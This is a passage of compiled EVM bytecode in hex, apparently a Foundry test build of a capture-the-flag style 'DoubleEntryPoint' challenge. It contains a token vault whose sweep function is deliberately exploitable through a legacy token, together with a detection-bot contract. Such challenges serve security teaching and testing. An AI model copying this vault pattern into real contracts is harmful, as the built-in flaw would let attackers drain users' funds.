00178b5780601f1062001761576101008083540402835291602001916200178b565b820191905f5260205f20905b8154815290600101906020018083116200176d57829003601f168201915b505050505081526020019060010190620016ee565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017f7575f80fd5b505af11580156200180a573d5f803e3d5ffd5b50506020546021546200183793506200183192506001600160a01b0391821691166200153b565b62001b02565b565b6008545f9060ff161562001851575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018e0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001906919062002402565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f6200197a82436200241a565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a38908690869060040162002430565b5f60405180830381865afa15801562001a53573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a7c919081019062002461565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001ae8575f80fd5b505afa15801562001afb573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001ad1565b613881806200249883390190565b6102b48062005d1983390190565b610ae58062005fcd83390190565b611e7a8062006ab283390190565b610daa806200892c83390190565b6001600160a01b038116811462001bb0575f80fd5b50565b5f805f6060848603121562001bc6575f80fd5b833562001bd38162001b9b565b9250602084013562001be58162001b9b565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c385783516001600160a01b03168352928401929184019160010162001c11565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c7e5762001c7e62001c44565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001cb05762001cb062001c44565b604052919050565b5f67ffffffffffffffff82111562001cd45762001cd462001c44565b50601f01601f191660200190565b5f6020828403121562001cf3575f80fd5b813567ffffffffffffffff81111562001d0a575f80fd5b8201601f8101841362001d1b575f80fd5b803562001d3262001d2c8262001cb8565b62001c84565b81815285602083850101111562001d47575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d8057818101518382015260200162001d66565b50505f910152565b5f815180845262001da181602086016020860162001d64565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e6957603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e5257605f1988850301835262001e3f84865162001d88565b948d01949350918c019160010162001e20565b505050968901969350509087019060010162001dda565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f3757888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f215783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001edd565b5096890196945050509086019060010162001e9f565b509098975050505050505050565b5f6020828403121562001f56575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001fb657603f1988860301845262001fa385835162001d88565b9450928501929085019060010162001f84565b5092979650505050505050565b5f6020828403121562001fd4575f80fd5b813562001a7c8162001b9b565b5f806040838503121562001ff3575f80fd5b8235620020008162001b9b565b91506020830135620020128162001b9b565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200204d576200204d62001c44565b5060051b60200190565b5f6200206762001d2c8462001cb8565b90508281528383830111156200207b575f80fd5b62001a7c83602083018462001d64565b5f82601f8301126200209b575f80fd5b62001a7c8383516020850162002057565b8051620020b98162001b9b565b919050565b5f6020808385031215620020d0575f80fd5b825167ffffffffffffffff80821115620020e8575f80fd5b818501915085601f830112620020fc575f80fd5b81516200210d62001d2c8262002031565b81815260059190911b830184019084810190888311156200212c575f80fd5b8585015b838110156200222d5780518581111562002148575f80fd5b86016060818c03601f190112156200215e575f80fd5b6200216862001c58565b888201518781111562002179575f80fd5b8201603f81018d136200218a575f80fd5b898101516200219d62001d2c8262002031565b81815260059190911b8201604001908b8101908f831115620021bd575f80fd5b6040840193505b82841015620021df5783518252928c0192908c0190620021c4565b8452505050604082015187811115620021f6575f80fd5b620022068d8b838601016200208b565b8a830152506200221960608301620020ac565b604082015284525091860191860162002130565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016c557620016c56200223a565b5f6020828403121562002275575f80fd5b815167ffffffffffffffff8111156200228c575f80fd5b8201601f810184136200229d575f80fd5b620022ae8482516020840162002057565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022ef81600585016020880162001d64565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200232e81600a84016020880162001d64565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200237781846020880162001d64565b8351908301906200238d81836020880162001d64565b01949350505050565b602081525f62001a7c602083018462001d88565b600181811c90821680620023bf57607f821691505b602082108103620023de57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023f5575f80fd5b815162001a7c8162001b9b565b5f6020828403121562002413575f80fd5b5051919050565b80820180821115620016c557620016c56200223a565b604081525f62002444604083018562001d88565b828103602084015262002458818562001d88565b95945050505050565b5f6020828403121562002472575f80fd5b815167ffffffffffffffff81111562002489575f80fd5b620022ae848285016200208b56fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6138078061007a5f395ff3fe6080604052600436106200006b575f3560e01c8063d38def5b1162000046578063d38def5b14620000da578063f2fde38b146200010f578063fae99eae1462000133575f80fd5b8063715018a6146200006f5780637726f77614620000885780638da5cb5b14620000bc575b5f80fd5b3480156200007b575f80fd5b506200008662000167565b005b6200009f6200009936600462000a23565b6200017e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000c8575f80fd5b505f546001600160a01b03166200009f565b348015620000e6575f80fd5b50620000fe620000f836600462000a48565b620003da565b6040519015158152602001620000b3565b3480156200011b575f80fd5b50620000866200012d36600462000a23565b62000663565b3480156200013f575f80fd5b50620001576200015136600462000a48565b620006f9565b604051620000b392919062000aa8565b6200017162000914565b6200017c5f6200096f565b565b5f806040516200018e90620009d6565b604051809103905ff080158015620001a8573d5f803e3d5ffd5b5090505f604051620001ba90620009e4565b604051809103905ff080158015620001d4573d5f803e3d5ffd5b5090505f84604051620001e790620009f2565b6001600160a01b039091168152602001604051809103905ff08015801562000211573d5f803e3d5ffd5b5090505f83828488604051620002279062000a00565b6001600160a01b039485168152928416602084015290831660408301529091166060820152608001604051809103905ff08015801562000269573d5f803e3d5ffd5b506040517fbdb2321f0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063bdb2321f906024015f604051808303815f87803b158015620002c8575f80fd5b505af1158015620002db573d5f803e3d5ffd5b50506040517f1d2d84000000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015287169250631d2d840091506024015f604051808303815f87803b15801562000339575f80fd5b505af11580156200034c573d5f803e3d5ffd5b50506040517f40c10f190000000000000000000000000000000000000000000000000000000081526001600160a01b03858116600483015268056bc75e2d631000006024830152871692506340c10f1991506044015f604051808303815f87803b158015620003b9575f80fd5b505af1158015620003cc573d5f803e3d5ffd5b509298975050505050505050565b5f808390505f816001600160a01b031663d8670e1f6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200041d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000443919062000ae5565b6040517f9e1083ca0000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301529192505f91831690639e1083ca90602401602060405180830381865afa158015620004a6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004cc919062000ae5565b90506001600160a01b038116620004e9575f93505050506200065d565b5f836001600160a01b031663d444d8a06040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000527573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200054d919062000ae5565b6040517ffae99eae0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301528616602482015290915081905f908190309063fae99eae906044015f604051808303815f875af1158015620005ba573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620005e3919081019062000b45565b9150915081156200063b5760405162461bcd60e51b815260206004820152600e60248201527f537765657020737563636564656400000000000000000000000000000000000060448201526064015b60405180910390fd5b5f8180602001905181019062000652919062000c0e565b985050505050505050505b92915050565b6200066d62000914565b6001600160a01b038116620006eb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840162000632565b620006f6816200096f565b50565b5f6060836001600160a01b0316631be19560846001600160a01b03166326fe99516040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000748573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200076e919062000ae5565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b0390911660048201526024015f604051808303815f87803b158015620007c5575f80fd5b505af1925050508015620007d7575060015b620008f9575f80846001600160a01b03166370a08231866001600160a01b031663d444d8a06040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200082a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000850919062000ae5565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa158015620008ab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620008d1919062000c2a565b60408051929091116020830152015b604051602081830303815290604052915091506200090d565b604080515f602082015260019101620008e0565b9250929050565b5f546001600160a01b031633146200017c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000632565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610fe28062000c4383390190565b6103d48062001c2583390190565b6103f38062001ff983390190565b6113e680620023ec83390190565b6001600160a01b0381168114620006f6575f80fd5b5f6020828403121562000a34575f80fd5b813562000a418162000a0e565b9392505050565b5f806040838503121562000a5a575f80fd5b823562000a678162000a0e565b9150602083013562000a798162000a0e565b809150509250929050565b5f5b8381101562000aa057818101518382015260200162000a86565b50505f910152565b8215158152604060208201525f825180604084015262000ad081606085016020870162000a84565b601f01601f1916919091016060019392505050565b5f6020828403121562000af6575f80fd5b815162000a418162000a0e565b8051801515811462000b13575f80fd5b919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f806040838503121562000b57575f80fd5b62000b628362000b03565b9150602083015167ffffffffffffffff8082111562000b7f575f80fd5b818501915085601f83011262000b93575f80fd5b81518181111562000ba85762000ba862000b18565b604051601f8201601f19908116603f0116810190838211818310171562000bd35762000bd362000b18565b8160405282815288602084870101111562000bec575f80fd5b62000bff83602083016020880162000a84565b80955050505050509250929050565b5f6020828403121562000c1f575f80fd5b62000a418262000b03565b5f6020828403121562000c3b575f80fd5b505191905056fe608060405234801562000010575f80fd5b506040518060400160405280600b81526020016a2632b3b0b1bcaa37b5b2b760a91b815250604051806040016040528060038152602001621311d560ea1b815250816003908162000062919062000187565b50600462000071828262000187565b5050506200008e620000886200009460201b60201c565b62000098565b62000253565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200011257607f821691505b6020821081036200013157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200018257805f5260205f20601f840160051c810160208510156200015e5750805b601f840160051c820191505b818110156200017f575f81556001016200016a565b50505b505050565b81516001600160401b03811115620001a357620001a3620000e9565b620001bb81620001b48454620000fd565b8462000137565b602080601f831160018114620001f1575f8415620001d95750858301515b5f19600386901b1c1916600185901b1785556200024b565b5f85815260208120601f198616915b82811015620002215788860151825594840194600190910190840162000200565b50858210156200023f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610d8180620002615f395ff3fe608060405234801561000f575f80fd5b5060043610610115575f3560e01c806370a08231116100ad578063a457c2d71161007d578063c89e436111610063578063c89e43611461024c578063dd62ed3e1461025f578063f2fde38b14610297575f80fd5b8063a457c2d714610226578063a9059cbb14610239575f80fd5b806370a08231146101c9578063715018a6146101f15780638da5cb5b146101f957806395d89b411461021e575f80fd5b806323b872dd116100e857806323b872dd14610181578063313ce5671461019457806339509351146101a357806340c10f19146101b6575f80fd5b806306fdde0314610119578063095ea7b31461013757806318160ddd1461015a5780631d2d84001461016c575b5f80fd5b6101216102aa565b60405161012e9190610bb4565b60405180910390f35b61014a610145366004610c14565b61033a565b604051901515815260200161012e565b6002545b60405190815260200161012e565b61017f61017a366004610c3e565b610353565b005b61014a61018f366004610c60565b61038a565b6040516012815260200161012e565b61014a6101b1366004610c14565b6103ad565b61017f6101c4366004610c14565b6103eb565b61015e6101d7366004610c3e565b6001600160a01b03165f9081526020819052604090205490565b61017f610401565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161012e565b610121610414565b61014a610234366004610c14565b610423565b61014a610247366004610c14565b6104d1565b600654610206906001600160a01b031681565b61015e61026d366004610c9e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61017f6102a5366004610c3e565b610587565b6060600380546102b990610cd5565b80601f01602080910402602001604051908101604052809291908181526020018280546102e590610cd5565b80156103305780601f1061030757610100808354040283529160200191610330565b820191905f5260205f20905b81548152906001019060200180831161031357829003601f168201915b5050505050905090565b5f33610347818585610617565b60019150505b92915050565b61035b61076e565b6006805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b5f336103978582856107c8565b6103a2858585610858565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061034790829086906103e6908790610d0d565b610617565b6103f361076e565b6103fd8282610a6d565b5050565b61040961076e565b6104125f610b49565b565b6060600480546102b990610cd5565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156104c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103a28286868403610617565b6006545f906001600160a01b03166104f4576104ed8383610ba7565b905061034d565b6006546040517f9cd1a1210000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301526024820185905233604483015290911690639cd1a121906064016020604051808303815f875af1158015610563573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ed9190610d2c565b61058f61076e565b6001600160a01b03811661060b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104bb565b61061481610b49565b50565b6001600160a01b0383166106925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b03821661070e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146104125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104bb565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461085257818110156108455760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104bb565b6108528484848403610617565b50505050565b6001600160a01b0383166108d45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0383165f90815260208190526040902054818110156109de5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610a14908490610d0d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a6091815260200190565b60405180910390a3610852565b6001600160a01b038216610ac35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104bb565b8060025f828254610ad49190610d0d565b90915550506001600160a01b0382165f9081526020819052604081208054839290610b00908490610d0d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f33610347818585610858565b5f602080835283518060208501525f5b81811015610be057858101830151858201604001528201610bc4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610614575f80fd5b5f8060408385031215610c25575f80fd5b8235610c3081610c00565b946020939093013593505050565b5f60208284031215610c4e575f80fd5b8135610c5981610c00565b9392505050565b5f805f60608486031215610c72575f80fd5b8335610c7d81610c00565b92506020840135610c8d81610c00565b929592945050506040919091013590565b5f8060408385031215610caf575f80fd5b8235610cba81610c00565b91506020830135610cca81610c00565b809150509250929050565b600181811c90821680610ce957607f821691505b602082108103610d0757634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561034d57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610d3c575f80fd5b81518015158114610c59575f80fdfea264697066735822122091f156bcbbd2a567f95d290a69dc896582a8d0d550079d51e1028da3fc20535b64736f6c63430008180033608060405234801561000f575f80fd5b506103b78061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e927c681161004d5780639e927c68146100c2578063dc702fa014610116578063fa1fd28c14610143575f80fd5b8063087a43c1146100685780639e1083ca1461007d575b5f80fd5b61007b610076366004610269565b610156565b005b6100a561008b366004610269565b5f602081905290815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b6100d0366004610269565b335f90815260208190526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b610135610124366004610269565b60016020525f908152604090205481565b6040519081526020016100b9565b61007b610151366004610289565b6101a2565b6001600160a01b038181165f908152602081905260409020541633146101795750565b335f908152600160208190526040822080549192909161019a908490610305565b909155505050565b6001600160a01b038381165f90815260208190526040902054166101c557505050565b6001600160a01b038084165f90815260208190526040908190205490517f220ab6aa00000000000000000000000000000000000000000000000000000000815291169063220ab6aa9061022090869086908690600401610343565b5f604051808303815f87803b158015610237575f80fd5b505af1925050508015610248575060015b50505050565b80356001600160a01b0381168114610264575f80fd5b919050565b5f60208284031215610279575f80fd5b6102828261024e565b9392505050565b5f805f6040848603121561029b575f80fd5b6102a48461024e565b9250602084013567ffffffffffffffff808211156102c0575f80fd5b818601915086601f8301126102d3575f80fd5b8135818111156102e1575f80fd5b8760208285010111156102f2575f80fd5b6020830194508093505050509250925092565b8082018082111561033d577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b92915050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea2646970667358221220eb48eff7002bb43b8acbcdc21f1a5d3fa231d40319163eb712092d93b34c34e364736f6c63430008180033608060405234801561000f575f80fd5b506040516103f33803806103f383398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b6103678061008c5f395ff3fe608060405234801561000f575f80fd5b506004361061004a575f3560e01c80631be195601461004e5780633234a197146100635780636f307dc314610091578063bdb2321f146100a4575b5f80fd5b61006161005c3660046102d9565b6100b7565b005b5f54610075906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b600154610075906001600160a01b031681565b6100616100b23660046102d9565b61022f565b6001546001600160a01b039081169082160361011a5760405162461bcd60e51b815260206004820152601f60248201527f43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e0060448201526064015b60405180910390fd5b5f546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906102fb565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610207573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022b9190610312565b5050565b6001546001600160a01b0316156102885760405162461bcd60e51b815260206004820152600b60248201527f416c7265616479207365740000000000000000000000000000000000000000006044820152606401610111565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b03811681146102d6575f80fd5b50565b5f602082840312156102e9575f80fd5b81356102f4816102c2565b9392505050565b5f6020828403121561030b575f80fd5b5051919050565b5f60208284031215610322575f80fd5b815180151581146102f4575f80fdfea2646970667358221220f81905746f66adb7c26ee21cad54b550de152f67d81bed95a109f49082102d1d64736f6c63430008180033608060405234801562000010575f80fd5b50604051620013e6380380620013e6833981016040819052620000339162000284565b6040518060400160405280601581526020017f446f75626c65456e747279506f696e74546f6b656e00000000000000000000008152506040518060400160405280600381526020016211115560ea1b81525081600390816200009691906200037b565b506004620000a582826200037b565b505050620000c2620000bc6200012960201b60201c565b6200012d565b600880546001600160a01b038087166001600160a01b03199283161790925560098054858416908316179055600780548484169083161790556006805492861692909116821790556200011f9068056bc75e2d631000006200017e565b505050506200046d565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620001d95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620001ec919062000447565b90915550506001600160a01b0382165f90815260208190526040812080548392906200021a90849062000447565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b80516001600160a01b03811681146200027f575f80fd5b919050565b5f805f806080858703121562000298575f80fd5b620002a38562000268565b9350620002b36020860162000268565b9250620002c36040860162000268565b9150620002d36060860162000268565b905092959194509250565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200030757607f821691505b6020821081036200032657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200026357805f5260205f20601f840160051c81016020851015620003535750805b601f840160051c820191505b8181101562000374575f81556001016200035f565b5050505050565b81516001600160401b03811115620003975762000397620002de565b620003af81620003a88454620002f2565b846200032c565b602080601f831160018114620003e5575f8415620003cd5750858301515b5f19600386901b1c1916600185901b1785556200043f565b5f85815260208120601f198616915b828110156200041557888601518255948401946001909101908401620003f4565b50858210156200043357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200046757634e487b7160e01b5f52601160045260245ffd5b92915050565b610f6b806200047b5f395ff3fe608060405234801561000f575f80fd5b5060043610610149575f3560e01c8063715018a6116100c7578063a9059cbb1161007d578063d8670e1f11610063578063d8670e1f146102aa578063dd62ed3e146102bd578063f2fde38b146102f5575f80fd5b8063a9059cbb14610284578063d444d8a014610297575f80fd5b806395d89b41116100ad57806395d89b41146102565780639cd1a1211461025e578063a457c2d714610271575f80fd5b8063715018a61461023b5780638da5cb5b14610245575f80fd5b806326fe99511161011c578063395093511161010257806339509351146101ed57806348db5f891461020057806370a0823114610213575f80fd5b806326fe9951146101b3578063313ce567146101de575f80fd5b806306fdde031461014d578063095ea7b31461016b57806318160ddd1461018e57806323b872dd146101a0575b5f80fd5b610155610308565b6040516101629190610d0e565b60405180910390f35b61017e610179366004610d6e565b610398565b6040519015158152602001610162565b6002545b604051908152602001610162565b61017e6101ae366004610d98565b6103b1565b6008546101c6906001600160a01b031681565b6040516001600160a01b039091168152602001610162565b60405160128152602001610162565b61017e6101fb366004610d6e565b6103d4565b6007546101c6906001600160a01b031681565b610192610221366004610dd6565b6001600160a01b03165f9081526020819052604090205490565b610243610412565b005b6005546001600160a01b03166101c6565b610155610425565b61017e61026c366004610df8565b610434565b61017e61027f366004610d6e565b610709565b61017e610292366004610d6e565b6107b2565b6006546101c6906001600160a01b031681565b6009546101c6906001600160a01b031681565b6101926102cb366004610e37565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610243610303366004610dd6565b6107bf565b60606003805461031790610e6e565b80601f016020809104026020016040519081016040528092919081815260200182805461034390610e6e565b801561038e5780601f106103655761010080835404028352916020019161038e565b820191905f5260205f20905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b5f336103a581858561084f565b60019150505b92915050565b5f336103be8582856109a6565b6103c9858585610a36565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906103a5908290869061040d908790610ea6565b61084f565b61041a610c4b565b6104235f610ca5565b565b60606004805461031790610e6e565b6008545f906001600160a01b031633146104955760405162461bcd60e51b815260206004820152601360248201527f4e6f74206c656761637920636f6e74726163740000000000000000000000000060448201526064015b60405180910390fd5b6009546007546040517f9e1083ca0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f929190911690639e1083ca90602401602060405180830381865afa1580156104fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105209190610ec5565b6009546040516306e3817d60e51b81526001600160a01b0380841660048301529293505f929091169063dc702fa090602401602060405180830381865afa15801561056d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105919190610ee0565b6009546007546040517ffa1fd28c0000000000000000000000000000000000000000000000000000000081529293506001600160a01b039182169263fa1fd28c926105e49216905f903690600401610ef7565b5f604051808303815f87803b1580156105fb575f80fd5b505af115801561060d573d5f803e3d5ffd5b5050505061061c848787610a36565b6009546040516306e3817d60e51b81526001600160a01b038481166004830152600195508392169063dc702fa090602401602060405180830381865afa158015610668573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068c9190610ee0565b11156107005760405162461bcd60e51b815260206004820152602360248201527f416c65727420686173206265656e207472696767657265642c2072657665727460448201527f696e670000000000000000000000000000000000000000000000000000000000606482015260840161048c565b50509392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156107a55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161048c565b6103c9828686840361084f565b5f336103a5818585610a36565b6107c7610c4b565b6001600160a01b0381166108435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161048c565b61084c81610ca5565b50565b6001600160a01b0383166108ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0382166109465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610a305781811015610a235760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161048c565b610a30848484840361084f565b50505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038216610b2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0383165f9081526020819052604090205481811015610bbc5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610bf2908490610